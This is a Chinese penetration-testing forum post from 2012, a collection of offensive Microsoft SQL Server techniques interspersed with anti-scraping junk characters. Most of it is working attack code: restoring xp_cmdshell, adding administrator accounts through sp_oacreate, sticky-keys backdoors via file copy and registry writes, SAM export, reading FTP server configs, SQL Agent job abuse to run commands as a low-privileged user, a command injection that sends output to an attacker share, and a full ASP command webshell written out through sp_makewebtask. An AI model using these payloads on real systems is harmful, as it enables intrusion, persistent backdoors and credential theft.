中国网络渗透测试联盟

标题: XP_CMDSHELL恢复方法大全 [打印本页]

作者: admin    时间: 2012-9-15 14:37
标题: XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
# g5 I; e8 o7 h( U: l6 I8 @恢复方法:查询分离器连接后,
3 W  H' d9 {% i7 Q; Z第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int * ~: c" {& u, M1 ~& @# h7 p$ T& F1 F4 P
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
5 P) M. `* W! s+ ?然后按F5键命令执行完毕
3 T: n& p! k. x7 _' P% d4 X  Z
$ z0 @5 z* r& B2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)$ @# Y7 g7 Q% i6 N! v* X! M1 S/ ^$ [
恢复方法:查询分离器连接后,* V& |( R2 T% R. ~& e
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
# T  n; f- R: W& c& G8 S, }第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'6 }& f% Y" j" Y# a, C
然后按F5键命令执行完毕& d5 l. `) K0 @8 g% U6 X* d
0 c6 B+ n; f6 [& o' ~; T7 f
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)8 f. G: s5 t* v& {
恢复方法:查询分离器连接后,( x3 {/ \! @* [3 s
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'( n/ T" F' T* T1 \+ ?8 u' C
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
9 J( r) F+ X$ W, m, U3 B然后按F5键命令执行完毕  }) Z; @/ i8 V: E. M- k
/ J2 U! n* b! ]. A* L0 d
4 终极方法.* G* e3 ]8 @5 H- Q0 q1 y
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:8 q$ }) F9 f, J
查询分离器连接后,
: O& o% D# k! k2000servser系统:; Q2 t/ N( H! u+ N
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'5 d  Z, ^- q  V- \

) c8 d' L% Q4 x8 J% Wdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
( ?# g$ q" k: ]% o6 R# n
( W5 o% v4 y4 ?  i4 ]# [+ Qxp或2003server系统:
, l7 F* G3 `3 O' U- w  q+ X" t% w: L$ \9 C' E4 H4 J
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'8 G, ~7 g5 `2 `' o' K3 T0 w

( U) p# i, T+ [$ _! X& @" ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'  M0 \7 J3 s. `3 f& \
& ^' k$ U7 ?3 Z

& K4 }" S& q2 p  j+ b五个SHIFT
6 b) o& g5 f% u) v6 [1 ^6 t/ Edeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';; I( \- R: y  c$ f; E
% W: t+ L5 F! f  ?. |
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
( R+ }. K# W, D2 T5 i2 [/ g) U* f( W: [" O7 y' O
xp_cmdshell执行命令另一种方法3 Y8 D9 b% m9 y$ A+ |
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ! [0 h4 z. T9 h& z

6 q) ~6 J2 ]2 _4 U判断存储扩展是否存在
$ l% m5 `. p- e& ~' H) OSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
0 B$ h2 Q( @, d- @返回结果为1就OK
9 u+ D# P* t* e& t4 C2 j3 x/ F" t) J8 }! U

" [2 a; m2 i; F- u/ U* z) V上传xplog70.dll恢复xp_cmdshell语句:& a) C, n1 H) o2 T' R7 Q- W
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL': W4 R5 X6 }1 ~' K9 N
, \# G8 U. T  R
否则上传xplog7.0.dll
& L0 P5 M1 v1 ?' bExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'1 J, k1 g7 U4 C) g3 r; e+ }$ S

$ U& K- {; Z) X) O  L/ @$ ]4 O9 q/ [& G9 j( B3 Q9 `
/ M/ j$ L* V- o  ~2 N
首先开启沙盘模式:# q' o) O, z& T) T& {9 t+ ^7 c
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
2 C$ A6 `: T2 f' [' T
) [: H- l( m- a. w" }然后利用jet.oledb执行系统命令! C% S8 M. J: I, v
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')( g; i: @% a9 a' a- x
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了9 ]' U: f8 U9 o& k0 L. P/ U
1 i, |" ]7 Z$ i1 w

3 c3 S- z; j2 K( Q# o# q  f7 b8 t% O: m( A
恢复过程sp_addextendedproc 如下:
" B3 f0 H* b7 C5 ?/ ucreate procedure sp_addextendedproc --- 1996/08/30 20:13 % O* d! e- ~/ o* s
@functname nvarchar(517),/* (owner.)name of function to call */ " a1 k& f) h7 K2 T* g4 j. s/ l1 a% {3 W6 b
@dllname varchar(255)/* name of DLL containing function */
( a! g3 V7 A3 {1 U5 R4 v7 s2 Vas % q( U* r, L& \! o
set implicit_transactions off
, r9 v' ?  S3 Q6 f: E( aif @@trancount > 0 * A1 J  o  M( Q6 x3 P( O4 o) s
begin
- f- F7 _5 q0 S' eraiserror(15002,-1,-1,'sp_addextendedproc')
6 w9 n+ U% F- q3 C( ireturn (1) : s- q9 A0 t7 U
end ) N$ Q) z( X1 R7 J+ @# \9 `8 o
dbcc addextendedproc( @functname, @dllname)
' ?5 b" f8 x- x; _. i  T4 wreturn (0) -- sp_addextendedproc 8 n$ [& p( x+ P# J6 c+ u  m0 s
GO 2 a$ j2 x: }% W! Y5 ~
6 ?9 }, U% l# {8 b  A- Z

9 @# X9 X! h9 I6 x7 I& x" O9 H' X0 P0 K( ^0 J: v% A
导出管理员密码文件) _& K8 h4 Q0 b! j( Y
sa默认可以读sam键.应该。
7 m; ?, R% K2 Q, Yreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
9 |0 K( `, a; ?6 Z; anet user administrator test
" Q6 `5 g6 \  |8 Y% r用administrator登陆.5 x9 X$ J- \. L/ L; z+ Y' @
用完机器后
% y4 K2 h* X6 B9 ?reg import c:\test.reg0 U0 o8 [, W0 O% v( c
根本不用克隆.
  V9 F5 l2 k5 v6 T9 L4 U0 T. a找到对应的sid. 5 q) x) `+ S6 B; K- b' C% F6 ^* K: f

4 g" H9 u9 X6 \  h9 {1 q/ {6 k  G) D0 h/ D3 x: C, A% D

5 _. A) J# G' j! j5 e/ |5 w恢复所有存储过程; h; c0 B6 x! m# R- b$ j5 a: I# Q' d
use master
+ K  l  o, M% rexec sp_addextendedproc xp_enumgroups,'xplog70.dll' " ]. Q1 j, [' n4 @; _
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
) o6 L8 Z7 r! w& K  |exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 8 U+ R# X9 Q* R) K* R$ I1 m2 O
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' # i6 T$ A( G3 ~* Z1 s& c) I
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
1 d- t2 ^6 `& v. kexec sp_addextendedproc sp_OACreate,'odsole70.dll'
4 e+ M! O* ^( Uexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 4 Q" P' [" K7 ~0 T+ H" w
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
) }! z  ]5 W' v& P/ ]8 K- nexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
5 J2 a% j! O: V3 _4 @- o. Cexec sp_addextendedproc sp_OAMethod,'odsole70.dll' ' E3 Z1 @+ [& o' _2 s
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
. _- M+ N' T# bexec sp_addextendedproc sp_OAStop,'odsole70.dll' % n3 Y0 j) O1 Q' _8 e
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 5 |8 K: T2 y& C9 D+ j5 [5 }
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 2 E! N% E8 Q; i8 U8 H3 e
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
' g2 E$ d) I# F, k* T; q( Wexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
0 |. ]8 a$ A& J9 d5 t) A* b8 Uexec sp_addextendedproc xp_regread,'xpstar.dll' / W2 Z. [3 g9 z  r
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' , t. d; q% Q$ Q
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
8 L1 M, E4 U2 texec sp_addextendedproc xp_availablemedia,'xpstar.dll'
( o/ r  H6 w: r5 j+ J( ^1 N6 F- b; Z6 r% ~

% B' V3 B# C5 {建立读文件的存储过程
, P7 `1 o* B: w, N  hCreate proc sp_readTextFile @filename sysname) ~' }' n3 p; v% P0 q3 V' G( W
as4 b9 r# _/ \3 w  Q* B
  d" `* X) u' c
    begin 6 c% t  i1 S; n1 N7 h
    set nocount on : a1 R$ c* K! t1 X( ?6 E
    Create table #tempfile (line varchar(8000))9 u* o2 n, M. U, ?$ x7 [
    exec ('bulk insert #tempfile from "' + @filename + '"')9 k; @+ X* s, X6 c* r4 n4 ]& L3 U: s
    select * from #tempfile5 e5 w* G4 x5 Q( k
    drop table #tempfile
9 Q/ k# E# k) A  s2 hEnd/ ?: d8 {# L4 R) E7 [6 K

$ p0 [( L0 k. x. f7 ]1 C3 l7 }exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件4 c  D- ]& X$ L) T* z% ^8 x/ H
查看登录用户
( y- w7 i7 B0 ?" ~4 h2 P+ nSelect * from sysxlogins
6 S" Y( v! _/ e3 V. x  z4 H5 L7 p4 m; E! o1 Q# n
把文件内容读取到表中
2 S7 l! A0 G$ _4 F7 C& M- r( b* z; NBULK INSERT tmp from "c:\test.txt"  c) K: T  r0 m; L
dElete from 表名 清理表里的内容' `, ~5 V: i0 v) Q  |
create table b_test(fn nvarchar(4000));建一个表,字段为fn
" k7 \- I5 _, Y* Y) v1 `4 i  I9 P7 q' d/ Y2 i- E' v, Y

6 ]+ ?8 s' R+ B+ Q' `8 A加sa用户5 h) x2 |: d( D" T$ A5 Z
exec master.dbo.sp_addlogin user,pass;
: B0 S9 w6 B$ u$ z: G* Z8 Zexec master.dbo.sp_addsrvrolemember user,sysadmin
% g* E# h: J' V. k
) U3 F0 R, t( g. ^
; M& U- q* \* o3 V, U3 ^$ b# [
0 n1 D) b& R& F0 f* K' F2 m' @读文件代码0 Y# O8 e9 j' h$ F4 n
declare @o int, @f int, @t int, @ret int( m0 M4 e# [5 ]- q
declare @line varchar(8000)
- Y- e* `* Y/ O% j0 `) b/ X5 h6 Gexec sp_oacreate 'scripting.filesystemobject', @o out
" ~3 o$ t2 v8 I2 e7 v, w/ [2 o0 iexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
& s6 L* w, ^5 F4 d5 q! m$ Z3 h, V, jexec @ret = sp_oamethod @f, 'readline', @line out
4 E6 @' k/ C- M4 s: Gwhile( @ret = 0 )
* j6 V' L9 E# n: Hbegin+ e0 D1 O" b1 J1 a( e
print @line
4 ?& \; c& t# H/ \5 ^: Texec @ret = sp_oamethod @f, 'readline', @line out
6 H( _- Y* P7 R* }" F% r. j6 \8 T  {: Pend3 s2 Y+ ^2 h  j3 W% Z, \% n

6 I$ U: [4 p. V4 Q2 j" T, T* ~8 \: ?! F/ Q
写文件代码:+ h0 y' d* f: O0 d6 ~/ K
declare @o int, @f int, @t int, @ret int# _& W7 G! l1 L
exec sp_oacreate 'scripting.filesystemobject', @o out
8 E; d# v7 m- M' |3 B, ]) kexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
0 x$ c7 P6 H( F5 |. Qexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》8 T9 t8 `  ?! ]6 g

6 ]5 ~9 W/ j% u7 X( Q- O# j; e/ G  y) l9 ?6 g
添加lake2 shell/ _% \6 R; g7 j( D% F
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
3 |+ Y/ j: ^- c" Q0 p2 @/ Msp_dropextendedproc xp_lake2
) R! j* e5 P7 D* c0 SEXEC xp_lake2 'net user'* r/ h) t" \6 R' N+ v4 j2 M
: k& B1 |! L$ e8 w" B
) D0 A0 v$ ~% k/ _8 a2 H$ m9 d$ R
得到硬盘文件信息 % D4 _9 @% ^2 ]6 a+ n( G
--参数说明:目录名,目录深度,是否显示文件 0 j6 S" R# p2 U5 N& c
execute master..xp_dirtree 'c:' # T( C& {) x  E" D8 p9 {( q  v
execute master..xp_dirtree 'c:',1
. c( x7 m* m. u/ n" E: }execute master..xp_dirtree 'c:',1,1
( N5 W1 E( T8 n* R1 y/ ^
' e/ F1 D! ?1 X% u8 h% K
/ |0 g. }$ W* H7 Y+ q5 F' t4 h+ r读serv-u配置信息
5 \# f! w0 q+ N+ h3 hexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
8 f* Z) m  q/ g6 J: Dexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
4 P- o* k# z. b
9 I; ]+ p9 {/ g3 j* e通过xp_regwrite写SHIFT后门
) W* X. P; t& s" R: n! p4 fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--: e; Z4 R- `9 w! ^' }
  T+ n1 N) R: P, _
3 ]7 h# P" x$ t/ T- N! a
; O9 I  q5 S8 n- q) O
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
+ }  @$ @$ F- ]) {$ p1 @/ g" d& \6 H0 zexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
7 i) M! Y+ f( Q) {+ G  w9 @# G. F0 I' ]5 _% U( G! R. l
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'5 z  _+ i  {$ n* ~7 T! i
& Z) S, b: Q7 }# E

) J0 r# {8 \* M/ H" O' L+ H( _' _' S7 D$ M# ?
sql server 2005下开启xp_cmdshell的办法8 ]% i% h' K* ^# R: {3 c% H9 e& B

2 _, i  E2 E* V! I, c' L' i6 ZEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
2 g% R/ V/ X" S  a4 q
1 P- I3 A; ?0 f; T" XSQL2005开启'OPENROWSET'支持的方法:/ Q! ]' I( L% {

7 o  f2 b% u) [+ W4 F: L9 A3 ]exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;" K' E; N$ S7 j; p# a
3 O0 Q. U( w! ]1 M2 Z3 Q
SQL2005开启'sp_oacreate'支持的方法:
; W- x# ?2 \9 j8 W
4 N  X% |9 e% L5 texec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
; ^+ C! U. F4 w+ t
' z( w* F  e7 K# ~6 z2 |6 j: n& F+ B0 H
8 q: C" \, e$ f8 \2 G- G

# a! ~* i5 k. j% z7 }' D( W5 B& `( V; u) H
0 W- f" v; ?0 x" T
+ z! K6 v0 ~0 U( I3 L# a

' k6 X/ @% {& E  U! N1 u$ e; n; N
6 y+ q5 K8 y9 |" _  F: I" G
  I) i# }% |; i5 H9 g, h8 \; X7 @3 N) K. j% Y  L5 a; I
7 K3 v* O9 G7 m8 ^# t; r
8 E* I2 e% `0 p6 M6 t5 a" ~
% B: n- H: P- a/ Z7 ^* ]

$ y% C/ X. f4 r  f1 L! o: X- f
% ^  ]! B4 \/ J! \- ]7 c& {
7 i/ d. \, Y. |+ T; B7 @: f, ~) M  n9 x, l. {8 w- {
- J2 U' }# Y+ }  X. U
. v/ c9 D3 t3 v  c) m% l

* G5 \% Q, o. r7 |: R3 V! s& O1 ^, W8 u1 ^

4 n4 P7 T! l" S) I. P' v' P
( c) `& F% H  A' _以下方面不知道能不能成功暂且留下研究哈:
' O1 X9 R" z* c& i4)
* `( k6 J: n8 U& G* K. guse msdb; --这儿不要是master哟
8 P' K3 h+ m8 kexec sp_add_job @job_name= czy82 ;0 D- G: H& R( I" s
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;# r* A* u0 E. r
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
% A% R/ B" L0 ?9 s8 I! ?6 T9 pexec sp_start_job @job_name= czy82 ;# m. b& T( n/ i- t
, _& [, r3 v! n, p( F: B4 Z
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以4 o2 p! Y& T+ N$ a
执行tsql语句了.1 R; q( |/ W7 O' s( t. v. G
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名# }) i0 f1 ~/ y6 n9 ]+ g
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
9 m9 B1 q( R+ \5 vnet start SQLSERVERAGENT
( d8 b- M$ n" P3 `& r
! J5 c( W7 z+ f5 \6 b对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的( q6 V. G8 E% k
USE msdb
# R; w, h+ e1 J8 J5 {EXEC sp_add_job @job_name = GetSystemOnSQL ,
6 a6 o7 V! Q1 X@enabled = 1," S3 l( U# A6 y4 j, G/ p
@description = This will give a low privileged user access to8 U/ H) l( i7 ]: |8 `: U  v
xp_cmdshell ,
, q( n2 o, L: \, ^8 x' x3 u0 O@delete_level = 14 U% w( I2 Z8 l
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
+ x  X4 Y) w6 e# {* O) H0 ^@step_name = Exec my sql ,
, L  E+ V! z* h3 o; V: F3 W@subsystem = TSQL ,# S6 j: [* ^  [
@command = exec master..xp_execresultset N select exec
% {% ^4 K  s5 ~' lmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
4 W, I: `/ K$ L, a3 g. gEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,; @. ^9 H, c2 q9 L" ]3 e5 k
@server_name = 你的SQL的服务器名 6 g$ d( N+ h1 f
EXEC sp_start_job @job_name = GetSystemOnSQL
" f$ q% l5 V1 C5 H- x' i; v& J, a- u) ]
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
9 j7 a$ ~* i1 c6 R才让我们可以以public执行xp_cmdshell' o1 p) [; @: M( h. T' \$ I/ c

7 u* b+ z: N9 E) l6 [$ P8 j5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)- G2 o: c6 b$ Q4 W# N' C. a
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
* ~! _; _3 i$ O
6 _) W" N- v# K, y8 Y% [; t4 DUSE msdb. T- U5 \& H# t7 _
EXEC sp_add_job @job_name = ArbitraryFilecreate ,, f. u& K( |% E) _: j5 ^
@enabled = 1,
5 V1 I5 P' Z$ J@description = This will create a file called c:\sqlafc123.txt ,0 [2 M9 X7 [  x$ d9 N. n! L# X
@delete_level = 1
, D" N7 q' {0 l2 J6 T6 o5 ~, BEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,; R' B  ~/ p5 j, J
@step_name = SQLAFC ,
+ \- m; [4 M( |$ W3 o& b@subsystem = TSQL ,
4 j+ R6 K' ]* ~8 E7 ?@command = select hello, this file was created by the SQL Agent. ,
. @. `2 `2 g  E  P( p! r1 L@output_file_name = c:\sqlafc123.txt % R) w$ r/ M+ i
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
! w; P: X& l/ Z# r% v" [@server_name = SERVER_NAME 1 D' Y: K3 y! K( J
EXEC sp_start_job @job_name = ArbitraryFilecreate
" c! j4 K4 [1 Y$ m+ x$ G! Y8 s; o/ R, H* m0 r9 E! i
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
7 d* z# z% V; {9 J
  Y9 }) ]  v2 Z1 f# ~4 z??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
# f& r" z% R$ D) o  V0 H) r----------------------------------------------
% x( Q4 g# `$ }hello, this file was created by the SQL Agent.0 \  S. F1 F9 h: S2 s; {0 {

8 h/ M, Z+ [& Z  |0 p(1 ?????)
7 ^- O2 o* H+ F# R5 v- F
; L' U/ R& e( o3 x所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员* u: t% Q3 u4 _/ ]# J
命令的vbs文件到启动目录!* @/ c& _2 |; i( Y& J8 U0 E# f! G

, ?+ `$ _" z4 k2 B2 X/ R1 n7 A6)关于sp_makewebtask(可以写任意内容任意文件名的文件)  O& ]# y8 z: A- a- X- F
关于sp_MScopyscriptfile 看下面的例子
* t2 {+ `# q6 Y- C! Vdeclare @command varchar(100)
. }% v  Y! L9 a+ l' M2 _7 q6 jdeclare @scripfile varchar(200) 7 P- Y  w# k* D( ~5 n
set concat_null_yields_null off 6 z* L9 E; m! s
select @command= dir c:\ > "\\attackerip\share\dir.txt"
3 X8 ?3 I. x- F' Z+ Hselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
- K8 e  m8 y, c6 ?7 d9 g# y  Q( _# uexec sp_MScopyscriptfile @scripfile , $ [  Q  e% A5 v7 _
8 `; R: ]6 u1 w- G8 r; F
这两个东东都还在测试试哟
5 \; H$ F$ G: w$ v让MSSQL的public用户得到一个本机的web shell0 t' E2 d" a7 x* M' E3 f: m
, Z# w" J  G, n9 S2 w$ ^
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
& W/ K1 [/ y. [" V0 h--@query= select <img src=vbscript:msgbox(now())> $ s6 h5 i# |2 |; I; Q
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
, `- f+ O3 i2 }5 k; M( s@query= select
3 m) {7 Q8 E; c<%On Error Resume Next 9 i) x$ k& H0 W2 ?$ N
Set oscript = Server.createObject("wscript.SHELL") ) ~7 U9 V' p) P9 M! s! G3 o. p* `
Set oscriptNet = Server.createObject("wscript.NETWORK")
: c  A/ s" Z7 T0 _Set oFileSys = Server.createObject("scripting.FileSystemObject") 8 _" q& j  u, G# m4 @$ C4 R7 @
szCMD = Request.Form(".CMD") - H0 w3 ]/ `) u% o
If (szCMD <>"")Then & f0 \! \$ M( x8 X- \8 c
szTempFile = "C:\" & oFileSys.GetTempName() 1 x" [! d8 v5 t$ X# L: F
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 1 b& u! j) S, ?5 @+ z' L
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) ' c0 h. z' R/ y+ P1 v- l# ~
End If %> # B: O* \! _8 y  B& {) h
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> , n( l0 ~$ f7 B) X$ ?
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
/ O, U7 V7 ?  P# {</FORM><RE>
# U1 _5 B5 ~8 G<% If (IsObject(oFile))Then 0 v% F; G1 r- P$ u' q. E
On Error Resume Next
0 p0 P& H3 [& w! W6 g4 C1 [8 JResponse.Write Server.HTMLEncode(oFile.ReadAll)
* }; H6 j8 e2 `" Z, KoFile.Close
* B/ j& x- o; `) o9 O' wCall oFileSys.deleteFile(szTempFile, True)
/ g; G" ^) U. g1 NEnd If%>
( R6 e+ K7 S/ j' R2 g, x( }</BODY></HTML>
5 B3 }4 O( E; \7 y3 N% T, U




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2